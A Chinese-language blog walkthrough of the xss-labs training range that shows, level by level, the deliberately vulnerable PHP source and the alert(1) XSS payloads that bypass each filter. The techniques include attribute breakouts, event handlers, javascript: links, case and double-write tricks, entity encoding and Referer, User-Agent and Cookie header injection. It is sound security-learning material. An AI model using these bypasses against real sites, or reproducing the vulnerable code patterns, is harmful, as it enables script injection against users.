Xss-labs闯关总结

前言:

时间过的真快,一转眼大一就过去了,趁着这个暑假好好补补课,通过 xss-labs 靶场练习一下 XSS 注入,关于 XSS 的介绍可以看这篇文章:文章链接

Level 1 无过滤机制


来到题目页面,发现并没有输入框,可以看到在url栏中传了一个参数,所以在该参数处进行尝试传入其它参数

发现页面有所变化,在 “欢迎用户” 后有一个显示位能对传入的参数进行输出,在下方payload长度处也有字符串长度的统计,尝试构造脚本 <script>alert(1)</script>

成功通过。

查看后台源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

根据源码可以看出,程序将用户以GET方式提交的参数name,没有做任何防御措施就直接显示在HTML页面中,因此存在反射型的XSS漏洞,直接将代码<script>alert(1)</script>传入name变量中即可触发漏洞。

通关代码:

?name=<script>alert(1)</script>

Level 2 闭合标签


直接输入上一关的 payload,发现直接被原样输出了

右键查看页面源码:

可以看到在<h2>标签中的恶意代码被转义了,盲猜在服务器端用 htmlspecialchars() 函数对 keyword 参数的值进行了处理。

接着可以看到插入到 value 参数中的恶意代码并没有被转义而是直接原样返回的,那么就从这里入手,要想程序在这里执行弹窗代码,只需要将属性的标签闭合就可以了,输入 "><script>alert(1)</script>

补充:htmlspecialchars函数
成功通过。

查看后台源码:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>

可以看到在<h2>处使用了 htmlspecialchars() 函数进行过滤,但是在submit value属性处没有过滤,从而导致XSS漏洞。

通关代码:

?keyword="><script>alert(1)</script>

Level 3 单引号闭合 + 添加事件


来到Leval 3,还是先尝试基本的弹窗代码 <script>alert(1)</script>

并没有成功弹窗,右键看一下网页源码

发现这两处都将 < , > 转义了,猜测服务器端在这两处都用 htmlspecialchars() 函数进行了处理,那么怎样才能成功执行弹窗的代码呢?

这时候我们就要想办法绕开这些标签去使用新标签,浏览器中有一些事件可以执行js代码,这里使用 onclick 事件,观察源代码为单引号闭合,把value给闭合掉,构造payload:'onclick='javascript:alert(1)'

补充: 事件介绍

可以看到,在提交之后,没有立刻弹出,这里还需要点击一下文本框,让事件触发。

成功通过。

查看后台源码:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>    
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

可以看到服务器端在页面显示的位置对参数值都用 htmlspecialchars() 函数进行了处理。

通关代码:

?keyword='onclick='javascript:alert(1)'

Level 4 双引号闭合 + 添加事件

老样子尝试弹窗 <script>alert(1)</script>

发现上方显示位并没有什么特殊的变化,但是下方搜索框中的 < , > 标签都被过滤掉了.

右键查看网页源码:

对上方显示位仍猜测是 htmlspecialchars 函数处理,下方显示位应该是用函数替换掉了,并且下方的闭合标签为双引号。那么仍使用上关的思路,用事件触发,构造payload:" onclick='javascript:alert(1)'

成功通过。

查看后台源码:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

果然,第一个显示位使用了 htmlspecialchars 函数处理,第二个显示位经过两个 str_replace() 函数对尖括号进行了过滤,但是不全面,从而存在XSS安全隐患。

通关代码:

?keyword="onclick='javascript:alert(1)'

Level 5 新建标签


同样的套路,先尝试 <script>alert(1)</script>

弹窗失败,上方显示位没什么变化,下方搜索框中的第一个 <script> 变成了 <scr_ipt>

右键查看源码:

上方显示位应该还是 htmlspecialchars 处理,搜索框中的 payload 可能是匹配到关键字进行的替代。

那么用事件来试一下,闭合标签仍是双引号,输入代码:"onclick='javascript:alert(1)'

弹窗也失败了,右键查看源码

发现on变成了o_n ,猜测后台对on进行了过滤,替换成了 o_n,测试一下,输入on

果然,那这样带 on 的事件就不能用了。

尝试使用大小写绕过,测试代码:On<Script>

绕过失败,全变成了小写,这里应该还用了转小写的函数。

此处既然无法通过 <script> 标签和事件来执行js代码的话,那么可以换一个标签来执行js代码,使用新标签要先闭合<input>标签,构造代码:"><a href=javascript:alert(1)>xss</a>

补充:javascript伪协议

点一下那个链接就行了,右键看一下源码

可以看到链接成功嵌入!

查看后台源码:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

确实和我们猜的一样,分别对 on 和<script>进行了过滤,也用 strtolower函数做了大小写过滤。🆗,下一关!

通关代码:

?keyword="><a href=javascript:alert(1)>xss</a>

Level 6 大小写绕过


接着使用前面几关的注入方式测试,发现都不行

<input name=keyword  value="<scr_ipt>alert(1)</script>">
<input name=keyword  value=" "o_nclick='javascript:alert(1)' ">
<input name=keyword  value=" "><a hr_ef="javascript:alert(1)">xss</a>">

发现这里的 script、onclick、href 都被过滤了。不知道是不是存在大小写过滤,尝试下大小写绕过,可以看到闭合符合是双引号,构造payload:

"ONclick='javascript:alert(1)'

发现可以!

同理 "><scRipt>alert(1)</scRipt>"><a hREF=javascript:alert(1)>xss</a> 也可以。

查看后台源码:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

可以看出系统对 <script、on、src、data、href 进行了过滤,但是没有对大写字母进行修改,所以我们可以使用 “大小写绕过” 进行注入,🆗 Next !

通关代码:

?keyword="ONclick='javascript:alert(1)'

Level 7 双写绕过


先用 <script>alert(1)</script> 测试

右键源码

发现 script 直接被过滤了,尝试大小写绕过也不行,再尝试

"onclick='javascript:alert(1)'

"><a href=javascript:alert(1)>xss</a>



发现 on href 也被过滤了,尝试大小写也不行。但是道高一尺,魔高一丈,有人想出了双写绕过,哈哈哈。

构造命令:

"><scrscriptipt>alert(1)</scrscriptipt>


绕过成功!

查看后台源码:

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

可以看到参数做了小写转义,关键字直接被删去,上面输出位使用了 hemlspecialchars 转义。好的,下一关!(≧∇≦)ノ

通关代码:

?keyword="><scrscriptipt>alert(1)</scrscriptipt>

Level 8 编码绕过


老套路,尝试代码 <script>alert(1)</script>

右键观察源码

可以看到输入的内容被插在了a标签的 href 属性值中并且 script 被转义成了 scr_ipt,想到使用 javascript 伪协议,尝试代码:

javascript:alert(1)

可以看到这里 script 被转义,尝试大写绕过,发现不行,既然这样,我们试试编码,看能否绕过。

程序将 script 中的 ri 变成了 r_i,所以对 r 和 i 编码试试(也可以将script全编码了),将 ri 转换为 html 实体编码(16进制或10进制,还可以使用url编码等其它网页语言)编码工具

构造payload:

javasc&#114;&#105;pt:alert(1)

点击链接

通关成功!

查看后台源码:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>

可以看到敏感字符已经被加下划线过滤;双引号也被过滤,所以说也没有办法给属性值闭合;还有小写处理,也不能大小写要过;没有敏感字符去除,不能双写绕过。

通关代码:

javasc&#114;&#105;pt:alert(1)

Level 9 检测关键字


上来看到和上关一样让输入链接,直接输入上题代码javasc&#114;&#105;pt:alert(1),发现不行。

右键查看源码:

发现 href 处只有一串 “您的链接不合法,有没有!”,到这里没啥头绪了,只能去看后台源码了。

查看后台源码:

<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>

发现和上关相比多了个strpos函数,这函数的意思是输入的字符串里面必须要有http://字符,我们给他加上,然后再注释掉,尝试

构造命令:

javasc&#114;&#105;pt:alert(1)//http://


通关成功!🆗,下关。

通关代码:

javasc&#114;&#105;pt:alert(1)//http://

Level 10 隐藏信息


来到这关发现输入框没了,只能在url栏输入,先用经典代码测试一下<script>alert(1)</script>

显然不行,右键查看源码:

可以看到,显示位应该还是使用 htmlspecialchar 函数处理了,并且还看到了页面隐藏的三个输入框,现在不仅能给keyword传参,还能给三个input传参。

尝试给其余三个参数传参

右键查看源码:

发现只有 t_sort 接受了我们传的参数(双引号闭合),那也就是说可以从 t_sort 下手了,同时要想使用这个标签需要注释掉后面原有的 hidden 类型,把它改为其它类型,如 button 或 type 类型。

先测试一下,构造payload:

?keyword=1&t_sort=1" <script>alert(1)</script> type=button >//

还是不行,右键查看源码发现过滤了< >那就使用 onclick 事件试一下。

构造payload(注释符可加可不加):

?keyword=1&t_sort=1" onclick='javascript:alert(1)' type=button >//


点一下按钮,成功过关!

查看后台源码:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22); 
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

观察代码,如我们料想的那样,str 被 htmlspecialchars 过滤了,也只有 t_sort 接受参数值,对 t_sort 的过滤只有左右尖括号,所以注入显得很容易。

看来作者目的是提醒我们注意隐藏框以及假输入框的存在。

通关代码:

?keyword=1&t_sort=1" onclick='javascript:alert(1)' type=button >//

Level 11 Referer信息


看起来与上一关一样,直接右键查看源码:

可以发现这关隐藏了四个输入框,值得注意的是,第四个隐藏输入框 t_ref 已经有了值,并且可以看出是第十关我们输入的payload。

尝试给 keyword 赋值测试 <script>alert(1)</script>

显然不行,右键源码显示我们输入的代码应该是被 htmlspecialchars 函数转义了,那么再测试一下这四个隐藏的输入框哪个能传参。

?keyword=1&t_link=2&t_history=3&t_sort=4&t_ref=5


可以看到又只有 t_sort 被赋值成功,同时 t_ref 的值没有了,尝试对 t_sort 的属性进行闭合。

?keyword=1&t_sort=2" onclick='javascript:alert(1)' type=button >//


发现 “引号” 和 “尖括号” 都被转义了,猜测还是 htmlspecialchars 函数过滤了 。如果双引号不能用,也就不能闭合标签去创造自己的事件,所以要另外想其他的办法。

前面我们还记得 t_ref 是第十关的 payload 网址,而 ref 又可能是 http 头中的 referer 属性,我们且可尝试一下抓包进行注入。

修改 referer 属性,传入值为1

右键源码可以看到,t_ref 的值变为1了,那我们就可以从这入手。尝试闭合value值并创建自己的事件,构造payload:

Referer:1"onclick='javascript:alert(1)' type=button >//


放包,点击按钮即可过关!

查看后台源码:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

可以看到 keyword 进行了 htmlspecialchars 处理,t_sort 参数也被 htmlspecialchars 处理再次赋给value,接受 HTTP_Referer 头部参数进行了除尖括号处理,只要没有特殊字符转义,没有双引号去除,那么这个标签的属性就可能是危险的。

通关代码:

Referer:1"onclick='javascript:alert(1)' type=button >//

Level 12 user-agent信息


直接右键看源码吧

又发现四个隐藏框,其中第四个有点熟悉,t_ua 联想到 HTTP 请求头部的 User-Agent,猜测上一题是同类型的。

尝试构造paypoad:

User-Agent:1" onclick='javascript:alert(1)' type=button > //

抓包,修改 User-Agent 的值:

放包,点击按钮即可通关!

查看后台源码:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

换汤不换药,意在让我们了解不同的注入位置,仍旧像上一关那样分析就行了。

通关代码:

User-Agent:1" onclick='javascript:alert(1)' type=button > //


右键查看源码:

看到参数 t_cook,猜测可能是 cookie,抓包,仍旧是相同的方式,在 cookie 处进行测试。

给 user 赋 cookie 值,构造payload(这次试试text):

Cookie: 1" onclick='javascript:alert(1)' type=text > //


点击输入框,即可过关!

查看后台源码:

<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

可以看到设置了一个cookie,user : call me maybe?,keyword 和 t_sort 都经过 htmlspecialchars 函数处理,cookie 只有标签去除,没有其他过滤,一样的注入,同上。

通关代码:

Cookie: user=1" onclick='javascript:alert(1)' type=text > //

Level 14 exif xss


这关环境好像有问题,做不了。查了一下知道这题是 exif xss 什么的

想知道这关怎么做的可以看这篇文章:参考文章

Level 15 ng-include 属性


右键查看源码:

看到 src 的参数在这显示了,那就在这测试一下,测试 payload:<script>alert(1)</script>

特殊字符被转义了,估计没戏了,又看到 ng-include,不知道是啥,去百度查了一下,貌似跟 php 中的 include 函数类似,是将一个文件给包含进来。

ng-include的用法:

  1. ng-include 指令用于包含外部的 HTML文件。

  2. 包含的内容将作为指定元素的子节点。

  3. ng-include 属性的值可以是一个表达式,返回一个文件名。

  4. 默认情况下,包含的文件需要包含在同一个域名下。

值得注意的是:

  1. 如果单纯指定地址,必须要加引号

  2. 加载外部html,script标签中的内容不执行

  3. 加载外部html中含有style标签样式可以识别

可以包含同一域名的 html 文件,那也就是说可以包含之前做过的有xss漏洞的文件,但是不能执行script中的代码,那就用新建标签吧

尝试构造代码:

?src='level1.php?name=<a href="javascript:alert(1)">xss</a>'


点击链接即可通关!或者使用下面这个更简单。

?src='level1.php?name=<img src=1 onerror=alert(1)>'

查看后台源码:

<html ng-app>
<head>
        <meta charset="utf-8">
        <script src="angular.min.js"></script>
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level16.php?keyword=test"; 
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

看到src参数经过了函数处理。

通关代码:

?src='level1.php?name=<a href="javascript:alert(1)">xss</a>'

or

?src='level1.php?name=<img src=1 onerror=alert(1)>'

Level 16 空格实体转义


输入测试代码 <script>alert(1)</script>

发现 script 没了,右键看下源码:

发现 script 和 “/” 被替换成了&nbsp;(空白符),那尝试一下不带 script 和 “/”的payload

<img src=1 onerror=alert(1)>

并不行,右键源码:

emm.. 貌似空格也被替换了,好吧,只能想办法使用其它的来代替空格了,想到在html里,换行是可以代替空格的。

<img
src=1
onerror=alert(1)
>

使用URL编码将回车符转换为%0d(或换行符%0a)替代即可。

<img%0dsrc=1%0donerror=alert(1)>


成功弹窗!

查看后台源码:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("    ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>

对关键字进行了空白实体替代。

通关代码:

?keyword=<img%0dsrc=1%0donerror=alert(1)>

Level 17 参数拼接


这题很简洁,图片都没有,点击链接也确实直接进入下一关了。

右键查看源码:

从 url 框看到是通过 arg01 和 arg02 两个参数进行传参,传参之后,对两个参数进行了拼接,那么是不是可以直接使用事件来触发呢?

构造payload(注意空格):

?arg01= onmouseover&arg02=alert(1) 

并没反应,右键查看源码:

到这没啥思路了,查了一下,知道这里有个 swf 文件没有被加载出来。

swf文件:即shockwave flash文件,能被flash player打开

firefox加载出不来,换成Google,虽然图片还是出不来,但成功弹窗了!

还可以构造这样的payload:

?arg01=a&arg02=b onmouseover=alert(1)

注意:由于本关加载不出图片无法点击,所以用不了 onclick 事件。

查看后台源码:

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

并没有什么的过滤,直接构造事件。

通关代码:

?arg01= onmouseover&arg02=alert(1) 

or

?arg01=a&arg02=b onmouseover=alert(1)

Level 18 参数拼接


好家伙,更干净了,看到网页源码后,又有个swf,好吧,还是换google吧。

看起来和上一关一样,直接输入上题代码

?arg01= onmouseover&arg02=alert(1) 

woc,直接弹窗了,有点疑惑。

再测试一下这个,发现也行。

?arg01=a&arg02=b onmouseover=alert(1)

查看后台源码:

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

看到和上关比,src多了双引号,不知道这题是啥意思。。。

通关代码:

同上

Level 19 — 20 Flash xss

这两题太难了,暂时先搁着吧 (→_→)

参考文章:

https://www.cnblogs.com/ruoli-s/p/14285233.html
https://blog.csdn.net/qq_41734243/article/details/105991109
https://404sprint.github.io/2020/10/28/xss-labs/
https://cloud.tencent.com/developer/article/1665021


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 2058751973@qq.com

×

喜欢就点赞,疼爱就打赏